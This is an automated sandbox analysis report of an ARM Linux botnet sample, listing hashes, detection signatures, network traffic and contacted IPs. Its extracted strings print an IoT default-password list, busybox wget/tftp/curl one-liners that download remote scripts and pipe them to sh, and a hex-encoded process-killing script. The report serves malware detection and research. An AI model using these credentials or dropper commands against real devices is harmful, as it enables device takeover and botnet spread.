Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1542498
MD5: 9a0bc2ea7427783e2aeec6736061d3b7
SHA1: 4c87c3ada78002788f0e678688a734e799798190
SHA256: e37d457d652fedc04a192bd4673572aafdf4d68b1f725394c1c39e28ef3a2ea3
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 1,5,7,8,9,15987
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:40844 -> 103.253.147.242:15987
Sample listens on a socket
Source: /tmp/la.bot.arm.elf (PID: 6215) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 200.86.225.191
Source: unknown TCP traffic detected without corresponding DNS query: 200.86.225.191
Source: unknown TCP traffic detected without corresponding DNS query: 142.23.126.230
Source: unknown TCP traffic detected without corresponding DNS query: 142.23.126.230
Source: unknown TCP traffic detected without corresponding DNS query: 39.91.6.12
Source: unknown TCP traffic detected without corresponding DNS query: 39.91.6.12
Source: unknown TCP traffic detected without corresponding DNS query: 100.56.129.143
Source: unknown TCP traffic detected without corresponding DNS query: 100.56.129.143
Source: unknown TCP traffic detected without corresponding DNS query: 144.89.38.157
Source: unknown TCP traffic detected without corresponding DNS query: 125.176.123.53
Source: unknown TCP traffic detected without corresponding DNS query: 132.112.223.29
Source: unknown TCP traffic detected without corresponding DNS query: 144.89.38.157
Source: unknown TCP traffic detected without corresponding DNS query: 125.176.123.53
Source: unknown TCP traffic detected without corresponding DNS query: 59.219.111.238
Source: unknown TCP traffic detected without corresponding DNS query: 132.112.223.29
Source: unknown TCP traffic detected without corresponding DNS query: 82.75.36.222
Source: unknown TCP traffic detected without corresponding DNS query: 59.219.111.238
Source: unknown TCP traffic detected without corresponding DNS query: 16.77.229.173
Source: unknown TCP traffic detected without corresponding DNS query: 82.75.36.222
Source: unknown TCP traffic detected without corresponding DNS query: 124.82.200.89
Source: unknown TCP traffic detected without corresponding DNS query: 16.77.229.173
Source: unknown TCP traffic detected without corresponding DNS query: 155.51.15.187
Source: unknown TCP traffic detected without corresponding DNS query: 124.82.200.89
Source: unknown TCP traffic detected without corresponding DNS query: 131.156.151.255
Source: unknown TCP traffic detected without corresponding DNS query: 155.51.15.187
Source: unknown TCP traffic detected without corresponding DNS query: 153.65.65.151
Source: unknown TCP traffic detected without corresponding DNS query: 131.156.151.255
Source: unknown TCP traffic detected without corresponding DNS query: 39.36.75.49
Source: unknown TCP traffic detected without corresponding DNS query: 153.65.65.151
Source: unknown TCP traffic detected without corresponding DNS query: 37.232.137.109
Source: unknown TCP traffic detected without corresponding DNS query: 167.114.66.121
Source: unknown TCP traffic detected without corresponding DNS query: 39.36.75.49
Source: unknown TCP traffic detected without corresponding DNS query: 134.164.111.116
Source: unknown TCP traffic detected without corresponding DNS query: 85.133.76.30
Source: unknown TCP traffic detected without corresponding DNS query: 37.232.137.109
Source: unknown TCP traffic detected without corresponding DNS query: 118.241.119.35
Source: unknown TCP traffic detected without corresponding DNS query: 167.114.66.121
Source: unknown TCP traffic detected without corresponding DNS query: 134.164.111.116
Source: unknown TCP traffic detected without corresponding DNS query: 85.133.76.30
Source: unknown TCP traffic detected without corresponding DNS query: 118.241.119.35
Source: unknown TCP traffic detected without corresponding DNS query: 179.62.48.92
Source: unknown TCP traffic detected without corresponding DNS query: 179.62.48.92
Source: unknown TCP traffic detected without corresponding DNS query: 197.74.8.34
Source: unknown TCP traffic detected without corresponding DNS query: 151.216.128.90
Source: unknown TCP traffic detected without corresponding DNS query: 176.61.57.48
Source: unknown TCP traffic detected without corresponding DNS query: 197.74.8.34
Source: unknown TCP traffic detected without corresponding DNS query: 151.216.128.90
Source: unknown TCP traffic detected without corresponding DNS query: 176.61.57.48
Source: unknown TCP traffic detected without corresponding DNS query: 169.131.37.60
Source: unknown TCP traffic detected without corresponding DNS query: 169.131.37.60
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm.elf (PID: 6217) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6217) File opened: /proc/83/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm.elf (PID: 6215) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 6215.1.000055c03cdfe000.000055c03cf4c000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 6215.1.000055c03cdfe000.000055c03cf4c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 6215.1.00007ffc546f5000.00007ffc54716000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm.elf, 6215.1.00007ffc546f5000.00007ffc54716000.rw-.sdmp Binary or memory string: erx86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
157.110.212.218
 unknown Japan 37910 CUNETChubuUniversityJP false
23.107.230.14
 unknown United States
395954 LEASEWEB-USA-LAX-11US false
220.220.235.214
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
65.135.180.23
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
90.10.254.34
 unknown France
3215 FranceTelecom-OrangeFR false
158.227.201.254
 unknown Spain
15488 UPV-EHUES false
13.247.74.204
 unknown United States
16509 AMAZON-02US false
191.55.225.150
 unknown Brazil
53006 ALGARTELECOMSABR false
65.94.223.246
 unknown Canada
577 BACOMCA false
53.62.192.176
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
85.84.42.195
 unknown Spain
12338 EUSKALTELES false
216.26.156.48
 unknown United States
13649 ASN-VINSUS false
212.229.141.76
 unknown United Kingdom
6659 NEXINTO-DE false
217.167.188.134
 unknown France
3215 FranceTelecom-OrangeFR false
183.44.201.154
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
202.249.16.1
 unknown Japan 2500 WIDE-BBWIDEProjectJP false
33.182.195.111
 unknown United States
2686 ATGS-MMD-ASUS false
36.156.103.166
 unknown China
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
21.171.52.39
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
42.227.139.6
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
79.224.17.23
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
30.135.95.42
 unknown United States
7922 COMCAST-7922US false
120.122.250.227
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
71.189.175.213
 unknown United States
5650 FRONTIER-FRTRUS false
156.225.94.159
 unknown Seychelles
134548 DXTL-HKDXTLTseungKwanOServiceHK false
164.213.214.45
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
199.99.201.133
 unknown United States
174 COGENT-174US false
73.84.196.202
 unknown United States
7922 COMCAST-7922US false
211.163.207.228
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
73.125.96.44
 unknown United States
7922 COMCAST-7922US false
92.78.51.227
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
132.57.25.139
 unknown United States
385 AFCONC-BLOCK1-ASUS false
95.233.4.210
 unknown Italy
3269 ASN-IBSNAZIT false
137.51.246.222
 unknown United States
1906 NORTHROP-GRUMMANUS false
72.176.29.160
 unknown United States
11427 TWC-11427-TEXASUS false
97.197.65.224
 unknown United States
6167 CELLCO-PARTUS false
189.230.203.251
 unknown Mexico
8151 UninetSAdeCVMX false
131.15.185.145
 unknown United States
385 AFCONC-BLOCK1-ASUS false
61.128.49.240
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
115.226.204.104
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
65.132.74.167
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
223.26.238.207
 unknown Korea Republic of
38690 HYOSUNGITX-AS-KRHyosungITXKR false
142.246.159.18
 unknown Canada
395272 PCMCA false
48.4.243.4
 unknown United States
2686 ATGS-MMD-ASUS false
40.27.178.196
 unknown United States
4249 LILLY-ASUS false
76.73.64.223
 unknown United States
25921 LUS-FIBER-LCGUS false
175.209.232.81
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
201.109.58.176
 unknown Mexico
8151 UninetSAdeCVMX false
85.21.232.24
 unknown Russian Federation
8402 CORBINA-ASOJSCVimpelcomRU false
158.173.126.166
 unknown Denmark
3292 TDCTDCASDK false
3.50.215.89
 unknown United States
8987 AMAZONEXPANSIONGB false
169.131.37.60
 unknown United States
4531 MEDWEBUS false
204.147.124.62
 unknown United States
25979 COMDC-WIUS false
118.20.96.219
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
125.219.164.199
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
59.230.19.217
 unknown China
2516 KDDIKDDICORPORATIONJP false
112.55.124.128
 unknown China
56044 CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC false
183.147.112.180
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
210.47.39.46
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
207.31.212.155
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
90.183.123.45
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
66.15.194.198
 unknown United States
5650 FRONTIER-FRTRUS false
93.114.114.57
 unknown Romania
6910 DIALTELECOMRO false
73.158.223.160
 unknown United States
7922 COMCAST-7922US false
74.217.168.94
 unknown United States
13789 INTERNAP-BLK3US false
183.96.60.183
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
176.144.22.91
 unknown France
5410 BOUYGTEL-ISPFR false
171.234.71.209
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
31.119.240.175
 unknown United Kingdom
12576 EELtdGB false
211.98.202.72
 unknown China
63711 CTTNETChinaTieTongTelecommunicationsCorporationCN false
62.233.86.98
 unknown United Kingdom
20860 IOMART-ASGB false
122.129.18.193
 unknown Viet Nam
37908 KBCKIBICableTelevisionCoLtdJP false
101.124.54.75
 unknown China
131486 JDCOMBeijingJingdong360DegreeE-commerceCoLtdCN false
122.81.86.94
 unknown China
45069 CNNIC-CTTSDNET-APchinatietongShandongnetCN false
184.134.31.74
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
16.34.112.151
 unknown United States
unknown unknown false
185.18.246.112
 unknown Azerbaijan
39232 UNINETAZ false
86.185.204.64
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
73.247.5.236
 unknown United States
7922 COMCAST-7922US false
25.140.43.81
 unknown United Kingdom
7922 COMCAST-7922US false
70.47.50.71
 unknown United States
8001 NET-ACCESS-CORPUS false
143.4.8.221
 unknown United States
11003 PANDGUS false
119.160.241.49
 unknown Taiwan; Republic of China (ROC)
10229 YAHOO-TW1InternetContentProviderTW false
93.63.147.225
 unknown Italy
12874 FASTWEBIT false
63.153.3.175
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
9.187.209.144
 unknown United States
3356 LEVEL3US false
196.224.230.18
 unknown Tunisia
37492 ORANGE-TN false
